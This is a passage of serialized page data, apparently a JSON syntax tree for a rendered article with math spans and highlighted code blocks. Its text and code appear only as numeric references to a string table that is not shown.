"props":29238,"children":29240},{"className":29239},[2949,2950],[29241],{"type":24,"tag":327,"props":29242,"children":29244},{"className":29243},[2955],[29245],{"type":24,"tag":327,"props":29246,"children":29248},{"className":29247,"ariaHidden":2961},[2960],[29249],{"type":24,"tag":327,"props":29250,"children":29252},{"className":29251},[2966],[29253,29257],{"type":24,"tag":327,"props":29254,"children":29256},{"className":29255,"style":2972},[2971],[],{"type":24,"tag":327,"props":29258,"children":29260},{"className":29259,"style":3528},[2977,2978],[29261],{"type":29,"value":3531},{"type":29,"value":3533},{"type":24,"tag":284,"props":29264,"children":29266},{"className":29265},[],[29267],{"type":29,"value":1850},{"type":29,"value":3540},{"type":24,"tag":284,"props":29270,"children":29272},{"className":29271},[],[29273],{"type":29,"value":3546},{"type":29,"value":2108},{"type":24,"tag":25,"props":29276,"children":29277},{},[29278],{"type":29,"value":3552},{"type":24,"tag":235,"props":29280,"children":29281},{"id":3555},[29282],{"type":29,"value":3558},{"type":24,"tag":25,"props":29284,"children":29285},{},[29286,29287,29317,29318,29348,29349,29379],{"type":29,"value":3563},{"type":24,"tag":284,"props":29288,"children":29290},{"className":29289},[2949,2950],[29291],{"type":24,"tag":327,"props":29292,"children":29294},{"className":29293},[2955],[29295],{"type":24,"tag":327,"props":29296,"children":29298},{"className":29297,"ariaHidden":2961},[2960],[29299],{"type":24,"tag":327,"props":29300,"children":29302},{"className":29301},[2966],[29303,29307,29312],{"type":24,"tag":327,"props":29304,"children":29306},{"className":29305,"style":2972},[2971],[],{"type":24,"tag":327,"props":29308,"children":29310},{"className":29309},[2977],[29311],{"type":29,"value":3589},{"type":24,"tag":327,"props":29313,"children":29315},{"className":29314,"style":3528},[2977,2978],[29316],{"type":29,"value":3531},{"type":29,"value":3596},{"type":24,"tag":284,"props":29319,"children":29321},{"className":29320},[2949,2950],[29322],{"type":24,"tag":327,"props":29323,"children":29325},{"className":29324},[2955],[29326],{"type":24,"tag":327,"props":29327,"children":29329},{"className":29328,"ariaHidden":2961},[2960],[29330],{"type":24,"tag":327,"props":29331,"children":29333},{"className":29332},[2966],[29334,29338,29343],{"type":24,"tag":327,"props":29335,"children":29337},{"className":29336,"style":2972},[2971],[],{"type":24,"tag":327,"props":29339,"children":29341},{"className":29340,"style":2979},[2977,2978],[29342],{"type":29,"value":2982},{"type":24,"tag":327,"props":29344,"children":29346},{"className":29345},[2977],[29347],{"type":29,"value":3238},{"type":29,"value":3628},{"type":24,"tag":284,"props":29350,"children":29352},{"className":29351},[2949,2950],[29353],{"type":24,"tag":327,"props":29354,"children":29356},{"className":29355},[2955],[29357],{"type":24,"tag":327,"props":29358,"children":29360},{"className":29359,"ariaHidden":2961},[2960],[29361],{"type":24,"tag":327,"props":29362,"children":29364},{"className":29363},[2966],[29365,29369,29374],{"type":24,"tag":327,"props":29366,"children":29368},{"className":29367,"style":2972},[2971],[],{"type":24,"tag":327,"props":29370,"children":29372},{"className":29371,"style":2979},[2977,2978],[29373],{"type":29,"value":2982},{"type":24,"tag":327,"props":29375,"children":29377},{"className":29376},[2977],[29378],{"type":29,"value":2988},{"type":29,"value":3660},{"type":24,"tag":25,"props":29381,"children":29382},{},[29383,29384],{"type":29,"value":3665},{"type":24,"tag":284,"props":29385,"children":29387},{"className":29386},[2949,2950],[29388],{"type":24,"tag":327,"props":29389,"children":29391},{"className":29390},[2955],[29392],{"type":24,"tag":327,"props":29393,"children":29395},{"className":29394,"ariaHidden":2961},[2960],[29396,29432,29463],{"type":24,"tag":327,"props":29397,"children":29399},{"className":29398},[2966],[29400,29404,29409,29414,29419,29423,29428],{"type":24,"tag":327,"props":29401,"children":29403},{"className":29402,"style":3685},[2971],[],{"type":24,"tag":327,"props":29405,"children":29407},{"className":29406},[3121],[29408],{"type":29,"value":349},{"type":24,"tag":327,"props":29410,"children":29412},{"className":29411,"style":2979},[2977,2978],[29413],{"type":29,"value":2982},{"type":24,"tag":327,"props":29415,"children":29417},{"className":29416},[2977],[29418],{"type":29,"value":2988},{"type":24,"tag":327,"props":29420,"children":29422},{"className":29421,"style":3705},[2992],[],{"type":24,"tag":327,"props":29424,"children":29426},{"className":29425},[3710],[29427],{"type":29,"value":3713},{"type":24,"tag":327,"props":29429,"children":29431},{"className":29430,"style":3705},[2992],[],{"type":24,"tag":327,"props":29433,"children":29435},{"className":29434},[2966],[29436,29440,29445,29450,29454,29459],{"type":24,"tag":327,"props":29437,"children":29439},{"className":29438,"style":3685},[2971],[],{"type":24,"tag":327,"props":29441,"children":29443},{"className":29442,"style":3528},[2977,2978],[29444],{"type":29,"value":3531},{"type":24,"tag":327,"props":29446,"children":29448},{"className":29447},[3143],[29449],{"type":29,"value":3146},{"type":24,"tag":327,"props":29451,"children":29453},{"className":29452,"style":2993},[2992],[],{"type":24,"tag":327,"props":29455,"children":29457},{"className":29456},[2998],[29458],{"type":29,"value":3745},{"type":24,"tag":327,"props":29460,"children":29462},{"className":29461,"style":2993},[2992],[],{"type":24,"tag":327,"props":29464,"children":29466},{"className":29465},[2966],[29467,29471,29476],{"type":24,"tag":327,"props":29468,"children":29470},{"className":29469,"style":2972},[2971],[],{"type":24,"tag":327,"props":29472,"children":29474},{"className":29473,"style":2979},[2977,2978],[29475],{"type":29,"value":2982},{"type":24,"tag":327,"props":29477,"children":29479},{"className":29478},[2977],[29480],{"type":29,"value":3238},{"type":24,"tag":25,"props":29482,"children":29483},{},[29484],{"type":29,"value":3772},{"type":24,"tag":317,"props":29486,"children":29487},{"code":3775,"language":789,"meta":7,"className":790,"style":7},[29488],{"type":24,"tag":284,"props":29489,"children":29490},{"__ignoreMap":7},[29491,29498,29513],{"type":24,"tag":327,"props":29492,"children":29493},{"class":329,"line":330},[29494],{"type":24,"tag":327,"props":29495,"children":29496},{"style":346},[29497],{"type":29,"value":3787},{"type":24,"tag":327,"props":29499,"children":29500},{"class":329,"line":367},[29501,29505,29509],{"type":24,"tag":327,"props":29502,"children":29503},{"style":346},[29504],{"type":29,"value":3795},{"type":24,"tag":327,"props":29506,"children":29507},{"style":381},[29508],{"type":29,"value":384},{"type":24,"tag":327,"props":29510,"children":29511},{"style":346},[29512],{"type":29,"value":3804},{"type":24,"tag":327,"props":29514,"children":29515},{"class":329,"line":408},[29516,29520,29524,29528,29532,29536],{"type":24,"tag":327,"props":29517,"children":29518},{"style":425},[29519],{"type":29,"value":1329},{"type":24,"tag":327,"props":29521,"children":29522},{"style":346},[29523],{"type":29,"value":349},{"type":24,"tag":327,"props":29525,"children":29526},{"style":3818},[29527],{"type":29,"value":1986},{"type":24,"tag":327,"props":29529,"children":29530},{"style":346},[29531],{"type":29,"value":3825},{"type":24,"tag":327,"props":29533,"children":29534},{"style":3818},[29535],{"type":29,"value":3830},{"type":24,"tag":327,"props":29537,"children":29538},{"style":346},[29539],{"type":29,"value":3835},{"type":24,"tag":25,"props":29541,"children":29542},{},[29543],{"type":29,"value":3840},{"type":24,"tag":235,"props":29545,"children":29546},{"id":3843},[29547],{"type":29,"value":3846},{"type":24,"tag":25,"props":29549,"children":29550},{},[29551,29552,29557,29558,29609],{"type":29,"value":3851},{"type":24,"tag":284,"props":29553,"children":29555},{"className":29554},[],[29556],{"type":29,"value":3857},{"type":29,"value":3859},{"type":24,"tag":284,"props":29559,"children":29561},{"className":29560},[2949,2950],[29562],{"type":24,"tag":327,"props":29563,"children":29565},{"className":29564},[2955],[29566],{"type":24,"tag":327,"props":29567,"children":29569},{"className":29568,"ariaHidden":2961},[2960],[29570,29596],{"type":24,"tag":327,"props":29571,"children":29573},{"className":29572},[2966],[29574,29578,29583,29587,29592],{"type":24,"tag":327,"props":29575,"children":29577},{"className":29576,"style":2972},[2971],[],{"type":24,"tag":327,"props":29579,"children":29581},{"className":29580,"style":3454},[2977,2978],[29582],{"type":29,"value":3457},{"type":24,"tag":327,"props":29584,"children":29586},{"className":29585,"style":2993},[2992],[],{"type":24,"tag":327,"props":29588,"children":29590},{"className":29589},[2998],[29591],{"type":29,"value":3745},{"type":24,"tag":327,"props":29593,"children":29595},{"className":29594,"style":2993},[2992],[],{"type":24,"tag":327,"props":29597,"children":29599},{"className":29598},[2966],[29600,29604],{"type":24,"tag":327,"props":29601,"children":29603},{"className":29602,"style":2972},[2971],[],{"type":24,"tag":327,"props":29605,"children":29607},{"className":29606,"style":3528},[2977,2978],[29608],{"type":29,"value":3531},{"type":29,"value":66},{"type":24,"tag":25,"props":29611,"children":29612},{},[29613],{"type":29,"value":3916},{"type":24,"tag":317,"props":29615,"children":29616},{"code":3919,"language":789,"meta":7,"className":790,"style":7},[29617],{"type":24,"tag":284,"props":29618,"children":29619},{"__ignoreMap":7},[29620,29627,29642],{"type":24,"tag":327,"props":29621,"children":29622},{"class":329,"line":330},[29623],{"type":24,"tag":327,"props":29624,"children":29625},{"style":346},[29626],{"type":29,"value":3931},{"type":24,"tag":327,"props":29628,"children":29629},{"class":329,"line":367},[29630,29634,29638],{"type":24,"tag":327,"props":29631,"children":29632},{"style":346},[29633],{"type":29,"value":3795},{"type":24,"tag":327,"props":29635,"children":29636},{"style":381},[29637],{"type":29,"value":384},{"type":24,"tag":327,"props":29639,"children":29640},{"style":346},[29641],{"type":29,"value":3804},{"type":24,"tag":327,"props":29643,"children":29644},{"class":329,"line":408},[29645,29649],{"type":24,"tag":327,"props":29646,"children":29647},{"style":425},[29648],{"type":29,"value":1329},{"type":24,"tag":327,"props":29650,"children":29651},{"style":346},[29652],{"type":29,"value":3958},{"type":24,"tag":25,"props":29654,"children":29655},{},[29656,29657,29662,29663,29673],{"type":29,"value":3963},{"type":24,"tag":284,"props":29658,"children":29660},{"className":29659},[],[29661],{"type":29,"value":1501},{"type":29,"value":3970},{"type":24,"tag":42,"props":29664,"children":29665},{},[29666,29667,29672],{"type":29,"value":3975},{"type":24,"tag":284,"props":29668,"children":29670},{"className":29669},[],[29671],{"type":29,"value":1501},{"type":29,"value":3982},{"type":29,"value":3984},{"type":24,"tag":235,"props":29675,"children":29676},{"id":3987},[29677],{"type":29,"value":3990},{"type":24,"tag":25,"props":29679,"children":29680},{},[29681,29682,29687,29688,29744],{"type":29,"value":3995},{"type":24,"tag":284,"props":29683,"children":29685},{"className":29684},[],[29686],{"type":29,"value":1509},{"type":29,"value":4002},{"type":24,"tag":284,"props":29689,"children":29691},{"className":29690},[2949,2950],[29692],{"type":24,"tag":327,"props":29693,"children":29695},{"className":29694},[2955],[29696],{"type":24,"tag":327,"props":29697,"children":29699},{"className":29698,"ariaHidden":2961},[2960],[29700,29726],{"type":24,"tag":327,"props":29701,"children":29703},{"className":29702},[2966],[29704,29708,29713,29717,29722],{"type":24,"tag":327,"props":29705,"children":29707},{"className":29706,"style":2972},[2971],[],{"type":24,"tag":327,"props":29709,"children":29711},{"className":29710,"style":3454},[2977,2978],[29712],{"type":29,"value":3493},{"type":24,"tag":327,"props":29714,"children":29716},{"className":29715,"style":2993},[2992],[],{"type":24,"tag":327,"props":29718,"children":29720},{"className":29719},[2998],[29721],{"type":29,"value":3745},{"type":24,"tag":327,"props":29723,"children":29725},{"className":29724,"style":2993},[2992],[],{"type":24,"tag":327,"props":29727,"children":29729},{"className":29728},[2966],[29730,29734,29739],{"type":24,"tag":327,"props":29731,"children":29733},{"className":29732,"style":2972},[2971],[],{"type":24,"tag":327,"props":29735,"children":29737},{"className":29736},[2977],[29738],{"type":29,"value":3589},{"type":24,"tag":327,"props":29740,"children":29742},{"className":29741,"style":3528},[2977,2978],[29743],{"type":29,"value":3531},{"type":29,"value":66},{"type":24,"tag":25,"props":29746,"children":29747},{},[29748],{"type":29,"value":4064},{"type":24,"tag":317,"props":29750,"children":29751},{"code":4067,"language":789,"meta":7,"className":790,"style":7},[29752],{"type":24,"tag":284,"props":29753,"children":29754},{"__ignoreMap":7},[29755,29762,29777],{"type":24,"tag":327,"props":29756,"children":29757},{"class":329,"line":330},[29758],{"type":24,"tag":327,"props":29759,"children":29760},{"style":346},[29761],{"type":29,"value":4079},{"type":24,"tag":327,"props":29763,"children":29764},{"class":329,"line":367},[29765,29769,29773],{"type":24,"tag":327,"props":29766,"children":29767},{"style":346},[29768],{"type":29,"value":3795},{"type":24,"tag":327,"props":29770,"children":29771},{"style":381},[29772],{"type":29,"value":384},{"type":24,"tag":327,"props":29774,"children":29775},{"style":346},[29776],{"type":29,"value":3804},{"type":24,"tag":327,"props":29778,"children":29779},{"class":329,"line":408},[29780,29784,29788,29792],{"type":24,"tag":327,"props":29781,"children":29782},{"style":425},[29783],{"type":29,"value":1329},{"type":24,"tag":327,"props":29785,"children":29786},{"style":346},[29787],{"type":29,"value":349},{"type":24,"tag":327,"props":29789,"children":29790},{"style":3818},[29791],{"type":29,"value":1986},{"type":24,"tag":327,"props":29793,"children":29794},{"style":346},[29795],{"type":29,"value":4114},{"type":24,"tag":25,"props":29797,"children":29798},{},[29799,29800,29804],{"type":29,"value":4119},{"type":24,"tag":42,"props":29801,"children":29802},{},[29803],{"type":29,"value":46},{"type":29,"value":4125},{"type":24,"tag":228,"props":29806,"children":29807},{"id":4128},[29808],{"type":29,"value":4131},{"type":24,"tag":25,"props":29810,"children":29811},{},[29812,29813,29818],{"type":29,"value":4136},{"type":24,"tag":57,"props":29814,"children":29816},{"href":99,"rel":29815},[61],[29817],{"type":29,"value":103},{"type":29,"value":66},{"type":24,"tag":25,"props":29820,"children":29821},{},[29822,29823,29828,29829,29834],{"type":29,"value":4147},{"type":24,"tag":284,"props":29824,"children":29826},{"className":29825},[],[29827],{"type":29,"value":4153},{"type":29,"value":4155},{"type":24,"tag":284,"props":29830,"children":29832},{"className":29831},[],[29833],{"type":29,"value":4161},{"type":29,"value":4163},{"type":24,"tag":25,"props":29836,"children":29837},{},[29838],{"type":29,"value":4168},{"type":24,"tag":25,"props":29840,"children":29841},{},[29842],{"type":29,"value":4173},{"type":24,"tag":175,"props":29844,"children":29845},{},[29846,29850,29854,29858],{"type":24,"tag":179,"props":29847,"children":29848},{},[29849],{"type":29,"value":4181},{"type":24,"tag":179,"props":29851,"children":29852},{},[29853],{"type":29,"value":4186},{"type":24,"tag":179,"props":29855,"children":29856},{},[29857],{"type":29,"value":4191},{"type":24,"tag":179,"props":29859,"children":29860},{},[29861],{"type":29,"value":4196},{"type":24,"tag":235,"props":29863,"children":29864},{"id":4199},[29865],{"type":29,"value":4202},{"type":24,"tag":25,"props":29867,"children":29868},{},[29869,29870,29875],{"type":29,"value":4207},{"type":24,"tag":284,"props":29871,"children":29873},{"className":29872},[],[29874],{"type":29,"value":1501},{"type":29,"value":4214},{"type":24,"tag":25,"props":29877,"children":29878},{},[29879,29880,29885,29886,29891],{"type":29,"value":4219},{"type":24,"tag":284,"props":29881,"children":29883},{"className":29882},[],[29884],{"type":29,"value":4153},{"type":29,"value":4226},{"type":24,"tag":284,"props":29887,"children":29889},{"className":29888},[],[29890],{"type":29,"value":4232},{"type":29,"value":4234},{"type":24,"tag":317,"props":29893,"children":29894},{"code":4237,"language":1552,"meta":7,"className":1553,"style":7},[29895],{"type":24,"tag":284,"props":29896,"children":29897},{"__ignoreMap":7},[29898,29913,29964,29991,29998,30005,30020,30067,30110,30117,30156,30163,30178,30209,30248,30255,30262,30281,30308,30327,30346,30373,30392,30399,30426,30445,30464,30471,30478,30509,30532,30563,30570,30577,30584,30623,30654,30661,30668,30675,30746,30777,30784,30791,30826,30837,30848,30859,30910,30917],{"type":24,"tag":327,"props":29899,"children":29900},{"class":329,"line":330},[29901,29905,29909],{"type":24,"tag":327,"props":29902,"children":29903},{"style":346},[29904],{"type":29,"value":4249},{"type":24,"tag":327,"props":29906,"children":29907},{"style":1639},[29908],{"type":29,"value":4254},{"type":24,"tag":327,"props":29910,"children":29911},{"style":346},[29912],{"type":29,"value":1609},{"type":24,"tag":327,"props":29914,"children":29915},{"class":329,"line":367},[29916,29920,29924,29928,29932,29936,29940,29944,29948,29952,29956,29960],{"type":24,"tag":327,"props":29917,"children":29918},{"style":346},[29919],{"type":29,"value":4266},{"type":24,"tag":327,"props":29921,"children":29922},{"style":381},[29923],{"type":29,"value":1636},{"type":24,"tag":327,"props":29925,"children":29926},{"style":1639},[29927],{"type":29,"value":2402},{"type":24,"tag":327,"props":29929,"children":29930},{"style":346},[29931],{"type":29,"value":4279},{"type":24,"tag":327,"props":29933,"children":29934},{"style":381},[29935],{"type":29,"value":1636},{"type":24,"tag":327,"props":29937,"children":29938},{"style":1639},[29939],{"type":29,"value":2226},{"type":24,"tag":327,"props":29941,"children":29942},{"style":346},[29943],{"type":29,"value":4292},{"type":24,"tag":327,"props":29945,"children":29946},{"style":381},[29947],{"type":29,"value":1636},{"type":24,"tag":327,"props":29949,"children":29950},{"style":1639},[29951],{"type":29,"value":2770},{"type":24,"tag":327,"props":29953,"children":29954},{"style":346},[29955],{"type":29,"value":1596},{"type":24,"tag":327,"props":29957,"children":29958},{"style":1639},[29959],{"type":29,"value":2779},{"type":24,"tag":327,"props":29961,"children":29962},{"style":346},[29963],{"type":29,"value":4313},{"type":24,"tag":327,"props":29965,"children":29966},{"class":329,"line":408},[29967,29971,29975,29979,29983,29987],{"type":24,"tag":327,"props":29968,"children":29969},{"style":334},[29970],{"type":29,"value":2524},{"type":24,"tag":327,"props":29972,"children":29973},{"style":334},[29974],{"type":29,"value":2529},{"type":24,"tag":327,"props":29976,"children":29977},{"style":1639},[29978],{"type":29,"value":4329},{"type":24,"tag":327,"props":29980,"children":29981},{"style":346},[29982],{"type":29,"value":4334},{"type":24,"tag":327,"props":29984,"children":29985},{"style":1639},[29986],{"type":29,"value":4339},{"type":24,"tag":327,"props":29988,"children":29989},{"style":346},[29990],{"type":29,"value":4344},{"type":24,"tag":327,"props":29992,"children":29993},{"class":329,"line":421},[29994],{"type":24,"tag":327,"props":29995,"children":29996},{"style":346},[29997],{"type":29,"value":4352},{"type":24,"tag":327,"props":29999,"children":30000},{"class":329,"line":450},[30001],{"type":24,"tag":327,"props":30002,"children":30003},{"style":346},[30004],{"type":29,"value":4360},{"type":24,"tag":327,"props":30006,"children":30007},{"class":329,"line":481},[30008,30012,30016],{"type":24,"tag":327,"props":30009,"children":30010},{"style":346},[30011],{"type":29,"value":4368},{"type":24,"tag":327,"props":30013,"children":30014},{"style":381},[30015],{"type":29,"value":384},{"type":24,"tag":327,"props":30017,"children":30018},{"style":346},[30019],{"type":29,"value":4377},{"type":24,"tag":327,"props":30021,"children":30022},{"class":329,"line":500},[30023,30027,30031,30035,30039,30043,30047,30051,30055,30059,30063],{"type":24,"tag":327,"props":30024,"children":30025},{"style":346},[30026],{"type":29,"value":4385},{"type":24,"tag":327,"props":30028,"children":30029},{"style":381},[30030],{"type":29,"value":384},{"type":24,"tag":327,"props":30032,"children":30033},{"style":1639},[30034],{"type":29,"value":2534},{"type":24,"tag":327,"props":30036,"children":30037},{"style":381},[30038],{"type":29,"value":2407},{"type":24,"tag":327,"props":30040,"children":30041},{"style":1639},[30042],{"type":29,"value":4402},{"type":24,"tag":327,"props":30044,"children":30045},{"style":381},[30046],{"type":29,"value":4407},{"type":24,"tag":327,"props":30048,"children":30049},{"style":346},[30050],{"type":29,"value":4412},{"type":24,"tag":327,"props":30052,"children":30053},{"style":381},[30054],{"type":29,"value":66},{"type":24,"tag":327,"props":30056,"children":30057},{"style":346},[30058],{"type":29,"value":2393},{"type":24,"tag":327,"props":30060,"children":30061},{"style":381},[30062],{"type":29,"value":469},{"type":24,"tag":327,"props":30064,"children":30065},{"style":346},[30066],{"type":29,"value":4429},{"type":24,"tag":327,"props":30068,"children":30069},{"class":329,"line":529},[30070,30074,30078,30082,30086,30090,30094,30098,30102,30106],{"type":24,"tag":327,"props":30071,"children":30072},{"style":346},[30073],{"type":29,"value":4437},{"type":24,"tag":327,"props":30075,"children":30076},{"style":381},[30077],{"type":29,"value":384},{"type":24,"tag":327,"props":30079,"children":30080},{"style":346},[30081],{"type":29,"value":4446},{"type":24,"tag":327,"props":30083,"children":30084},{"style":844},[30085],{"type":29,"value":4451},{"type":24,"tag":327,"props":30087,"children":30088},{"style":346},[30089],{"type":29,"value":4279},{"type":24,"tag":327,"props":30091,"children":30092},{"style":381},[30093],{"type":29,"value":66},{"type":24,"tag":327,"props":30095,"children":30096},{"style":346},[30097],{"type":29,"value":4464},{"type":24,"tag":327,"props":30099,"children":30100},{"style":844},[30101],{"type":29,"value":4469},{"type":24,"tag":327,"props":30103,"children":30104},{"style":346},[30105],{"type":29,"value":4474},{"type":24,"tag":327,"props":30107,"children":30108},{"style":356},[30109],{"type":29,"value":4479},{"type":24,"tag":327,"props":30111,"children":30112},{"class":329,"line":538},[30113],{"type":24,"tag":327,"props":30114,"children":30115},{"style":346},[30116],{"type":29,"value":4487},{"type":24,"tag":327,"props":30118,"children":30119},{"class":329,"line":547},[30120,30124,30128,30132,30136,30140,30144,30148,30152],{"type":24,"tag":327,"props":30121,"children":30122},{"style":334},[30123],{"type":29,"value":2212},{"type":24,"tag":327,"props":30125,"children":30126},{"style":356},[30127],{"type":29,"value":4499},{"type":24,"tag":327,"props":30129,"children":30130},{"style":381},[30131],{"type":29,"value":1636},{"type":24,"tag":327,"props":30133,"children":30134},{"style":1639},[30135],{"type":29,"value":4508},{"type":24,"tag":327,"props":30137,"children":30138},{"style":346},[30139],{"type":29,"value":4334},{"type":24,"tag":327,"props":30141,"children":30142},{"style":1639},[30143],{"type":29,"value":4339},{"type":24,"tag":327,"props":30145,"children":30146},{"style":346},[30147],{"type":29,"value":2744},{"type":24,"tag":327,"props":30149,"children":30150},{"style":1639},[30151],{"type":29,"value":4153},{"type":24,"tag":327,"props":30153,"children":30154},{"style":346},[30155],{"type":29,"value":4529},{"type":24,"tag":327,"props":30157,"children":30158},{"class":329,"line":557},[30159],{"type":24,"tag":327,"props":30160,"children":30161},{"emptyLinePlaceholder":16},[30162],{"type":29,"value":544},{"type":24,"tag":327,"props":30164,"children":30165},{"class":329,"line":586},[30166,30170,30174],{"type":24,"tag":327,"props":30167,"children":30168},{"style":346},[30169],{"type":29,"value":4544},{"type":24,"tag":327,"props":30171,"children":30172},{"style":334},[30173],{"type":29,"value":2099},{"type":24,"tag":327,"props":30175,"children":30176},{"style":346},[30177],{"type":29,"value":1609},{"type":24,"tag":327,"props":30179,"children":30180},{"class":329,"line":1017},[30181,30185,30189,30193,30197,30201,30205],{"type":24,"tag":327,"props":30182,"children":30183},{"style":334},[30184],{"type":29,"value":2212},{"type":24,"tag":327,"props":30186,"children":30187},{"style":356},[30188],{"type":29,"value":4564},{"type":24,"tag":327,"props":30190,"children":30191},{"style":381},[30192],{"type":29,"value":1636},{"type":24,"tag":327,"props":30194,"children":30195},{"style":1639},[30196],{"type":29,"value":4573},{"type":24,"tag":327,"props":30198,"children":30199},{"style":346},[30200],{"type":29,"value":4334},{"type":24,"tag":327,"props":30202,"children":30203},{"style":1639},[30204],{"type":29,"value":4339},{"type":24,"tag":327,"props":30206,"children":30207},{"style":346},[30208],{"type":29,"value":4529},{"type":24,"tag":327,"props":30210,"children":30211},{"class":329,"line":1026},[30212,30216,30220,30224,30228,30232,30236,30240,30244],{"type":24,"tag":327,"props":30213,"children":30214},{"style":334},[30215],{"type":29,"value":2212},{"type":24,"tag":327,"props":30217,"children":30218},{"style":356},[30219],{"type":29,"value":4597},{"type":24,"tag":327,"props":30221,"children":30222},{"style":381},[30223],{"type":29,"value":1636},{"type":24,"tag":327,"props":30225,"children":30226},{"style":1639},[30227],{"type":29,"value":4606},{"type":24,"tag":327,"props":30229,"children":30230},{"style":346},[30231],{"type":29,"value":4334},{"type":24,"tag":327,"props":30233,"children":30234},{"style":1639},[30235],{"type":29,"value":4339},{"type":24,"tag":327,"props":30237,"children":30238},{"style":346},[30239],{"type":29,"value":2744},{"type":24,"tag":327,"props":30241,"children":30242},{"style":1639},[30243],{"type":29,"value":4623},{"type":24,"tag":327,"props":30245,"children":30246},{"style":346},[30247],{"type":29,"value":4529},{"type":24,"tag":327,"props":30249,"children":30250},{"class":329,"line":1048},[30251],{"type":24,"tag":327,"props":30252,"children":30253},{"style":346},[30254],{"type":29,"value":592},{"type":24,"tag":327,"props":30256,"children":30257},{"class":329,"line":1067},[30258],{"type":24,"tag":327,"props":30259,"children":30260},{"emptyLinePlaceholder":16},[30261],{"type":29,"value":544},{"type":24,"tag":327,"props":30263,"children":30264},{"class":329,"line":1075},[30265,30269,30273,30277],{"type":24,"tag":327,"props":30266,"children":30267},{"style":334},[30268],{"type":29,"value":2524},{"type":24,"tag":327,"props":30270,"children":30271},{"style":334},[30272],{"type":29,"value":4653},{"type":24,"tag":327,"props":30274,"children":30275},{"style":340},[30276],{"type":29,"value":4658},{"type":24,"tag":327,"props":30278,"children":30279},{"style":346},[30280],{"type":29,"value":4663},{"type":24,"tag":327,"props":30282,"children":30283},{"class":329,"line":1084},[30284,30288,30292,30296,30300,30304],{"type":24,"tag":327,"props":30285,"children":30286},{"style":356},[30287],{"type":29,"value":1573},{"type":24,"tag":327,"props":30289,"children":30290},{"style":381},[30291],{"type":29,"value":1636},{"type":24,"tag":327,"props":30293,"children":30294},{"style":1639},[30295],{"type":29,"value":1642},{"type":24,"tag":327,"props":30297,"children":30298},{"style":346},[30299],{"type":29,"value":1596},{"type":24,"tag":327,"props":30301,"children":30302},{"style":1639},[30303],{"type":29,"value":4687},{"type":24,"tag":327,"props":30305,"children":30306},{"style":346},[30307],{"type":29,"value":4529},{"type":24,"tag":327,"props":30309,"children":30310},{"class":329,"line":1100},[30311,30315,30319,30323],{"type":24,"tag":327,"props":30312,"children":30313},{"style":356},[30314],{"type":29,"value":4699},{"type":24,"tag":327,"props":30316,"children":30317},{"style":381},[30318],{"type":29,"value":1636},{"type":24,"tag":327,"props":30320,"children":30321},{"style":1639},[30322],{"type":29,"value":2402},{"type":24,"tag":327,"props":30324,"children":30325},{"style":346},[30326],{"type":29,"value":2231},{"type":24,"tag":327,"props":30328,"children":30329},{"class":329,"line":1128},[30330,30334,30338,30342],{"type":24,"tag":327,"props":30331,"children":30332},{"style":356},[30333],{"type":29,"value":4719},{"type":24,"tag":327,"props":30335,"children":30336},{"style":381},[30337],{"type":29,"value":1636},{"type":24,"tag":327,"props":30339,"children":30340},{"style":1639},[30341],{"type":29,"value":2226},{"type":24,"tag":327,"props":30343,"children":30344},{"style":346},[30345],{"type":29,"value":2231},{"type":24,"tag":327,"props":30347,"children":30348},{"class":329,"line":1148},[30349,30353,30357,30361,30365,30369],{"type":24,"tag":327,"props":30350,"children":30351},{"style":356},[30352],{"type":29,"value":4739},{"type":24,"tag":327,"props":30354,"children":30355},{"style":381},[30356],{"type":29,"value":1636},{"type":24,"tag":327,"props":30358,"children":30359},{"style":1639},[30360],{"type":29,"value":2770},{"type":24,"tag":327,"props":30362,"children":30363},{"style":346},[30364],{"type":29,"value":1596},{"type":24,"tag":327,"props":30366,"children":30367},{"style":1639},[30368],{"type":29,"value":2779},{"type":24,"tag":327,"props":30370,"children":30371},{"style":346},[30372],{"type":29,"value":4529},{"type":24,"tag":327,"props":30374,"children":30375},{"class":329,"line":1176},[30376,30380,30384,30388],{"type":24,"tag":327,"props":30377,"children":30378},{"style":346},[30379],{"type":29,"value":1674},{"type":24,"tag":327,"props":30381,"children":30382},{"style":381},[30383],{"type":29,"value":1679},{"type":24,"tag":327,"props":30385,"children":30386},{"style":1639},[30387],{"type":29,"value":1684},{"type":24,"tag":327,"props":30389,"children":30390},{"style":346},[30391],{"type":29,"value":1689},{"type":24,"tag":327,"props":30393,"children":30394},{"class":329,"line":1184},[30395],{"type":24,"tag":327,"props":30396,"children":30397},{"style":551},[30398],{"type":29,"value":4786},{"type":24,"tag":327,"props":30400,"children":30401},{"class":329,"line":1192},[30402,30406,30410,30414,30418,30422],{"type":24,"tag":327,"props":30403,"children":30404},{"style":334},[30405],{"type":29,"value":4794},{"type":24,"tag":327,"props":30407,"children":30408},{"style":334},[30409],{"type":29,"value":4799},{"type":24,"tag":327,"props":30411,"children":30412},{"style":356},[30413],{"type":29,"value":4804},{"type":24,"tag":327,"props":30415,"children":30416},{"style":381},[30417],{"type":29,"value":4809},{"type":24,"tag":327,"props":30419,"children":30420},{"style":356},[30421],{"type":29,"value":4804},{"type":24,"tag":327,"props":30423,"children":30424},{"style":346},[30425],{"type":29,"value":405},{"type":24,"tag":327,"props":30427,"children":30428},{"class":329,"line":1212},[30429,30433,30437,30441],{"type":24,"tag":327,"props":30430,"children":30431},{"style":356},[30432],{"type":29,"value":4739},{"type":24,"tag":327,"props":30434,"children":30435},{"style":381},[30436],{"type":29,"value":66},{"type":24,"tag":327,"props":30438,"children":30439},{"style":340},[30440],{"type":29,"value":4833},{"type":24,"tag":327,"props":30442,"children":30443},{"style":346},[30444],{"type":29,"value":4838},{"type":24,"tag":327,"props":30446,"children":30447},{"class":329,"line":4841},[30448,30452,30456,30460],{"type":24,"tag":327,"props":30449,"children":30450},{"style":356},[30451],{"type":29,"value":4739},{"type":24,"tag":327,"props":30453,"children":30454},{"style":381},[30455],{"type":29,"value":66},{"type":24,"tag":327,"props":30457,"children":30458},{"style":340},[30459],{"type":29,"value":4855},{"type":24,"tag":327,"props":30461,"children":30462},{"style":346},[30463],{"type":29,"value":4838},{"type":24,"tag":327,"props":30465,"children":30466},{"class":329,"line":4862},[30467],{"type":24,"tag":327,"props":30468,"children":30469},{"emptyLinePlaceholder":16},[30470],{"type":29,"value":544},{"type":24,"tag":327,"props":30472,"children":30473},{"class":329,"line":4870},[30474],{"type":24,"tag":327,"props":30475,"children":30476},{"style":551},[30477],{"type":29,"value":4876},{"type":24,"tag":327,"props":30479,"children":30480},{"class":329,"line":4879},[30481,30485,30489,30493,30497,30501,30505],{"type":24,"tag":327,"props":30482,"children":30483},{"style":334},[30484],{"type":29,"value":4794},{"type":